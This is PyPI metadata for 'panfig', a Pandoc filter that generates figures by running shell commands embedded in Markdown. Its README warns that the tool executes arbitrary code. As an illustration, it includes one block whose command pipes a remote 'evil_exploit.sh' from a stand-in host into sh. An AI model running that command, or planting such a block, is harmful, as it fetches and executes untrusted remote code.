{ "info": { "author": "speezepearson", "author_email": "speeze.pearson+1098@gmail.com", "bugtrack_url": null, "classifiers": [ "Development Status :: 3 - Alpha", "Programming Language :: Python :: 3", "Programming Language :: Python :: 3.2", "Programming Language :: Python :: 3.3", "Programming Language :: Python :: 3.4" ], "description": "Pandoc Figure Framework\n=======================\n\nThis library lets you write self-contained Pandoc/Markdown files containing figures.\n\nWithout Panfig, if you want figures, you have to save the image files, and the scripts that generate them, alongside the document. You'd probably even have a Makefile or something to ensure that all the figures were up to date. What a hassle!\n\nWith Panfig, the document stands alone. It describes how to generate the images, and they're generated when the document is compiled to HTML (or whatever).\n\nFor example, this Markdown code:\n\n Here is a very simple FSM: the \"on-off automaton.\"\n\n ~~~~~~~~ {.panfig shell=\"dot -Tpng -o %s\"}\n digraph G {\n on [style=filled];\n on -> off;\n off -> on;\n }\n ~~~~~~~~\n\ngenerates HTML that looks like this:\n\n> Here is a very simple FSM: the \"on-off automaton.\"\n>\n> ![](on-off.png)\n\n\n\nSecurity: for heaven's sake, be careful.\n-------------------------------------\n\nI am putting this up near the top because you should care about it.\n**Panfig executes arbitrary code contained in the document being compiled. If you invoked Pandoc (+Panfig) on the following document, it would do arbitrarily bad stuff.**\n\n\n ~~~~~~~~ { .panfig shell=\"curl http://example.com/evil_exploit.sh | sh\"}\n ~~~~~~~~\n\n\nHow do I use it?\n----------------\n\n1. **Install.** First things, of course, first: `pip install panfig`.\n\n2. **Write Markdown.** In your Markdown file, where you want a figure, write a code block that describes how to generate the desired figure. For example:\n\n ~~~~~~~~ { .panfig shell=\"dot -Tpng -o %s\" }\n digraph G {\n on -> off;\n off -> on;\n }\n ~~~~~~~~\n\n This uses Pandoc's [fenced code block](http://pandoc.org/README.html#fenced-code-blocks) syntax to give the block the `.panfig` class (to flag it for processing by Panfig), and a `shell` attribute specifying the command that will generate the figure. (It's a `printf`-style format string, so `%s` is replaced by the `sh`-escaped path to the image file that should be created.) The shell command is run, with the contents of the code block passed to the subprocess's standard input. It's that simple!\n\n3. **Compile the document.** Invoke `pandoc` to compile the document as you normally would, but add the option `--filter panfig`. (If the `panfig` executable isn't on your default path -- for example, if you use Virtualenv -- you may need to pass the full path to the `panfig` executable, e.g. `~/.virtualenv/3.4/bin/panfig`.)\n\n\n### Bells and Whistles\n\n#### Aliases\n\nAn alias specifies a set of attributes that Panfig should pretend a block has. For example, instead of writing `shell=\"dot -Tpng -o %s\"` for all your graphs, you could instead define an alias, like so:\n\n ~~~~~~~~ { .panfig-aliases }\n {\"dot\": {\"shell\": \"dot -Tpng -o %s\"}}\n ~~~~~~~~\n\n ~~~~~~~~ { .panfig alias=dot }\n digraph G { on -> off; off -> on; }\n ~~~~~~~~\n\nThis is exactly, 100% identical to\n\n ~~~~~~~~ { .panfig shell=\"dot -Tpng -o %s\" }\n digraph G { on -> off; off -> on; }\n ~~~~~~~~\n\nThe body of a `.panfig-aliases` block should be a JSON object of the form `{\"alias-name\": {\"attr\": \"value\", ...}, ...}` -- that is, mapping alias names to objects, which in turn specify the attributes you're using the alias as a shorthand for.\n\nPanfig comes with several aliases predefined:\n\n- `dot`: uses `dot` to generate a PNG, e.g.\n\n ~~~~~~~~ { .panfig alias=dot }\n digraph G { on -> off; off -> on; }\n ~~~~~~~~\n\n- `mathematica` uses Mathematica to generate a PNG, e.g.\n\n ~~~~~~~~ { .panfig alias=mathematica }\n Plot[Sin[x], {x, 0, 2 Pi}] (* last result is `Export`ed *)\n ~~~~~~~~\n\n- `matplotlib` uses Matplotlib to generate a PNG, e.g.\n\n ~~~~~~~~ { .panfig alias=matplotlib }\n import numpy as np\n xs = np.linspace(0, 2*np.pi, 100)\n plt.plot(xs, np.sin(xs)) # matplotlib.pyplot is already imported as plt\n # plt.savefig() is called at the end to generate the image\n ~~~~~~~~\n\n\n#### Text Processing\n\nOften, to avoid code duplication, you'll want to massage the code block's contents in some way. Panfig supports some special attributes that will perform common massaging operations:\n\n- `prologue=\"...\"`: prepends the attribute-value to the block's contents (separated by a newline)\n- `epilogue=\"...\"`: appends the attribute-value to the block's contents (separated by a newline)\n- `dedent=true`: removes an equal amount of whitespace (as much as possible, given that constraint) from the beginning of each line\n\nThis is all stuff that you *could* do just by constructing a fancy pipeline in your `shell` command, but... what a pain.\n\nFor example:\n\n\n ~~~~~~~~ { .panfig-aliases }\n {\"fsm\": {\"shell\": \"dot -Tpng -o %s\",\n \"prologue\": \"digraph G { _start [shape=\\\"none\\\", label=\\\"\\\"];\",\n \"epilogue\": \"}\"}}\n ~~~~~~~~\n\n ~~~~~~~~ {.panfig alias=fsm}\n _start -> off;\n on [shape=\"doublecircle\"];\n on -> off;\n off -> on;\n ~~~~~~~~\n\n\n", "description_content_type": null, "docs_url": null, "download_url": "", "downloads": { "last_day": -1, "last_month": -1, "last_week": -1 }, "home_page": "https://github.com/speezepearson/panfig", "keywords": "pandoc pandocfilters", "license": "", "maintainer": "", "maintainer_email": "", "name": "panfig", "package_url": "https://pypi.org/project/panfig/", "platform": "", "project_url": "https://pypi.org/project/panfig/", "project_urls": { "Homepage": "https://github.com/speezepearson/panfig" }, "release_url": "https://pypi.org/project/panfig/0.1.1/", "requires_dist": [ "pandocfilters" ], "requires_python": "", "summary": "A framework for describing figures in Pandoc documents", "version": "0.1.1" }, "last_serial": 3002689, "releases": { "0.1": [ { "comment_text": "", "digests": { "md5": "ca5a1e78bb14efeda138fd6d8ada2aff", "sha256": "a01fd43421100ff0acf82ff435741df3afadc8f940fedf1fcb1710fc33a64cdc" }, "downloads": -1, "filename": "panfig-0.1-py2.py3-none-any.whl", "has_sig": false, "md5_digest": "ca5a1e78bb14efeda138fd6d8ada2aff", "packagetype": "bdist_wheel", "python_version": "py2.py3", "requires_python": null, "size": 7258, "upload_time": "2016-06-26T16:23:33", "url": "https://files.pythonhosted.org/packages/ce/b5/98f66e8066bc6a651a1a3d0751ae8fb007e85939ad3374070627aba9366c/panfig-0.1-py2.py3-none-any.whl" } ], "0.1.1": [ { "comment_text": "", "digests": { "md5": "8663f1f246f04735b03cfbfa9c473ff8", "sha256": "dad9f1d95fe39aa5d1f2b487883a3c9757412a8e853d67406d2b634ca38bf0d6" }, "downloads": -1, "filename": "panfig-0.1.1-py2.py3-none-any.whl", "has_sig": false, "md5_digest": "8663f1f246f04735b03cfbfa9c473ff8", "packagetype": "bdist_wheel", "python_version": "py2.py3", "requires_python": null, "size": 10401, "upload_time": "2017-07-06T04:33:11", "url": "https://files.pythonhosted.org/packages/c2/7c/a7e7a46097a37993d9eeb653405833bbd6eb3247a424c5339564c0a58eaa/panfig-0.1.1-py2.py3-none-any.whl" }, { "comment_text": "", "digests": { "md5": "dae7c9990003bd111d946a5d5881a94d", "sha256": "3f33192cc45d785f878e6bcf5c89d3dac008000d1ecc1dffd331cc31cdb4ff60" }, "downloads": -1, "filename": "panfig-0.1.1.tar.gz", "has_sig": false, "md5_digest": "dae7c9990003bd111d946a5d5881a94d", "packagetype": "sdist", "python_version": "source", "requires_python": null, "size": 7409, "upload_time": "2017-07-06T04:33:12", "url": "https://files.pythonhosted.org/packages/bf/53/1b7e19f1dfaa89713750ad7f3dec3fd51b5e2a26f6f33cec7133eaf88c9d/panfig-0.1.1.tar.gz" } ] }, "urls": [ { "comment_text": "", "digests": { "md5": "8663f1f246f04735b03cfbfa9c473ff8", "sha256": "dad9f1d95fe39aa5d1f2b487883a3c9757412a8e853d67406d2b634ca38bf0d6" }, "downloads": -1, "filename": "panfig-0.1.1-py2.py3-none-any.whl", "has_sig": false, "md5_digest": "8663f1f246f04735b03cfbfa9c473ff8", "packagetype": "bdist_wheel", "python_version": "py2.py3", "requires_python": null, "size": 10401, "upload_time": "2017-07-06T04:33:11", "url": "https://files.pythonhosted.org/packages/c2/7c/a7e7a46097a37993d9eeb653405833bbd6eb3247a424c5339564c0a58eaa/panfig-0.1.1-py2.py3-none-any.whl" }, { "comment_text": "", "digests": { "md5": "dae7c9990003bd111d946a5d5881a94d", "sha256": "3f33192cc45d785f878e6bcf5c89d3dac008000d1ecc1dffd331cc31cdb4ff60" }, "downloads": -1, "filename": "panfig-0.1.1.tar.gz", "has_sig": false, "md5_digest": "dae7c9990003bd111d946a5d5881a94d", "packagetype": "sdist", "python_version": "source", "requires_python": null, "size": 7409, "upload_time": "2017-07-06T04:33:12", "url": "https://files.pythonhosted.org/packages/bf/53/1b7e19f1dfaa89713750ad7f3dec3fd51b5e2a26f6f33cec7133eaf88c9d/panfig-0.1.1.tar.gz" } ] }